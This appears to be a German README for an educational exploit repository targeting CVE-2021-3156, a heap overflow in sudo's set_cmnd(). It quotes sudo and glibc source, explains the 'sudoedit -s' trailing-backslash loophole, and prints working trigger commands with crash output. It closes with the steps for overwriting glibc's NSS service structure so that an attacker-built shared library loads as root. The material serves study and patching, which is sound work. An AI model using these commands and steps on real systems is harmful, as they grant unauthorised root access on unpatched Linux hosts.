
Implementierung und Analyse eines Exploits zu Bildungszwecken für CVE-2021-3156, einen Heap-basierten Pufferüberlauf in der set_cmnd()-Funktion von sudo, der durch manipulierte Befehlszeilenargumente eine Privilegieneskalation zu root ermöglicht.
In diesem Dokument finden Sie alle notwendigen Kenntnisse, um den Code in diesem Repository und seine Funktionsweise zu verstehen. Die gesamte Erklärung basiert auf dem Bericht von QUALYS. Dort werden weitere Ausnutzungsformen erklärt.
Die anfälligen Versionen von sudo sind die Legacy-Versionen 1.8.2 bis 1.8.31p2 sowie alle stabilen Versionen 1.9.0 bis 1.9.5p1 in ihrer Standardkonfiguration.
Dieses Repository wurde auf Ubuntu 20.04 (sudo 1.8.31) getestet. Darin öffnen wir ein Terminal mit Root-Rechten.
Wird Sudo ausgeführt, um einen Befehl im Shell-Modus auszuführen:
-s, die das MODE_SHELL-Flag von sudo setzt.-i, die die Flags MODE_SHELL und MODE_LOGIN_SHELL von sudo setzt.Dann schreibt parse_args() zu Beginn von main() von sudo argv neu, indem alle Befehlszeilenargumente konkateniert und alle Metazeichen mit Backslashes escaped werden.
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
char **av, *cmnd = NULL;
int ac = 1;
cmnd = dst = reallocarray(NULL, cmnd_size, 2);
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';
*dst++ = *src;
}
*dst++ = ' ';
}
...
ac += 2; /* -c cmnd */
...
av = reallocarray(NULL, ac + 1, sizeof(char *));
...
av[0] = (char *)user_details.shell; /* plugin may override shell */
if (cmnd != NULL) {
av[1] = "-c";
av[2] = cmnd;
}
av[ac] = NULL;
argv = av;
argc = ac;
}
Später, in sudoers_policy_main(), konkateniert set_cmnd() die Befehlszeilenargumente in einen heap-basierten Puffer user_args und entfernt die Escapings der Metazeichen, "für sudoers-Matching- und -Logging-Zwecke":
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
...
}
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
...
}
...
}
Wenn ein Befehlszeilenargument mit einem einzelnen Backslash-Zeichen endet, dann:
from[0] ist das Backslash-Zeichen und from[1] der Nullterminatorfrom wird inkrementiert und zeigt auf den Nullterminatoruser_args-Puffer kopiert und from erneut inkrementiert und zeigt außerhalb der Grenzenuser_args-Puffer.Mit anderen Worten, set_cmnd() ist anfällig für einen heap-basierten Pufferüberlauf, da die außerhalb der Grenzen liegenden Zeichen, die in den user_args-Puffer kopiert werden, nicht in dessen Größe eingerechnet wurden.
Theoretisch kann jedoch kein Befehlszeilenargument mit einem einzelnen Backslash-Zeichen enden: Wenn MODE_SHELL oder MODE_LOGIN_SHELL gesetzt ist (eine notwendige Bedingung, um den anfälligen Code zu erreichen), dann ist MODE_SHELL gesetzt und parse_args() hat bereits alle Metazeichen, einschließlich Backslashes, escaped (d.h., jeder einzelne Backslash wurde mit einem zweiten Backslash escaped).
In der Praxis jedoch sind der anfällige Code in set_cmnd() und der Escape-Code in parse_args() von leicht unterschiedlichen Bedingungen umgeben:
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {`
versus:
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
Unsere Frage ist also: Können wir MODE_SHELL und entweder MODE_EDIT oder MODE_CHECK setzen (um den anfälligen Code zu erreichen), aber nicht das standardmäßige MODE_RUN (um den Escape-Code zu vermeiden)?
Die Antwort scheint nein zu sein: Wenn wir MODE_EDIT (-e-Option) oder MODE_CHECK (-l-Option) setzen, dann entfernt parse_args() MODE_SHELL aus den valid_flags und beendet mit einem Fehler, wenn wir ein ungültiges Flag wie MODE_SHELL angeben:
case 'e':
...
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
valid_flags = MODE_NONINTERACTIVE;
break;
...
case 'l':
...
mode = MODE_LIST;
valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
break;
...
if (argc > 0 && mode == MODE_LIST)
mode = MODE_CHECK;
...
if ((flags & valid_flags) != flags)
usage(1);
Aber wir haben eine Gesetzeslücke gefunden: Wenn wir Sudo als sudoedit statt sudo ausführen, dann setzt parse_args() automatisch MODE_EDIT, setzt aber valid_flags nicht zurück, und die valid_flags enthalten standardmäßig MODE_SHELL:
#define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
int valid_flags = DEFAULT_VALID_FLAGS;
...
proglen = strlen(progname);
if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
progname = "sudoedit";
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
}
Folglich setzen wir, wenn wir "sudoedit -s" ausführen, sowohl MODE_EDIT als auch MODE_SHELL (aber nicht MODE_RUN), vermeiden den Escape-Code, erreichen den anfälligen Code und überlaufen den heap-basierten Puffer user_args durch ein Befehlszeilenargument, das mit einem einzelnen Backslash-Zeichen endet:
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
Aus Sicht eines Angreifers ist dieser Pufferüberlauf ideal:
user_args-Puffers, den wir überlaufen lassen (die Größe unserer konkatenierten Befehlszeilenargumente);user_args).Zum Beispiel allokiert der folgende Befehl unter amd64 Linux einen 24-Byte-user_args-Puffer (einen 32-Byte-Heap-Chunk) und überschreibt das size-Feld des nächsten Chunks mit "A=a\0B=b\0" (0x00623d4200613d41), das fd-Feld mit "C=c\0D=d\0" (0x00643d4400633d43) und das bk-Feld mit "E=e\0F=f\0" (0x00663d4600653d45):
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
--|--------+--------+--------+--------|--------+--------+--------+--------+--
| | |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
size <---- user_args buffer ----> size fd bk
Program received signal SIGSEGV, Segmentation fault.
0x00007f6bf9c294ee in nss_load_library (ni=ni@entry=0x55cf1a1dd040) at nsswitch.c:344
=> 0x7f6bf9c294ee <nss_load_library+46>: cmpq $0x0,0x8(%rbx)
rbx 0x41414141414141 18367622009667905
Die abstürzende Funktion ist nss_load_library() aus glibc (bei Zeile 344), weil der Zeiger library überschrieben wurde.
static int
nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
ni->library = nss_new_service (service_table ?: &default_table,
ni->name);
}
if (ni->library->lib_handle == NULL)
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);
Die Schritte zur Ausnutzung dieses Absturzes sind die folgenden:
ni->library mit NULL. Dadurch wird der Code in die if-Klausel eintreten und mit dem Parsen und Laden der Bibliothek beginnen.ni->name mit "X/X". Dies enthielt ursprünglich "systemd".__strcpy-Zeilen "libnss_X/X.so.2" anstelle von "libnss_systemd.so.2" parsen."libnss_X/X.so.2" als Root. Darin können wir alles tun, was wir als Root möchten.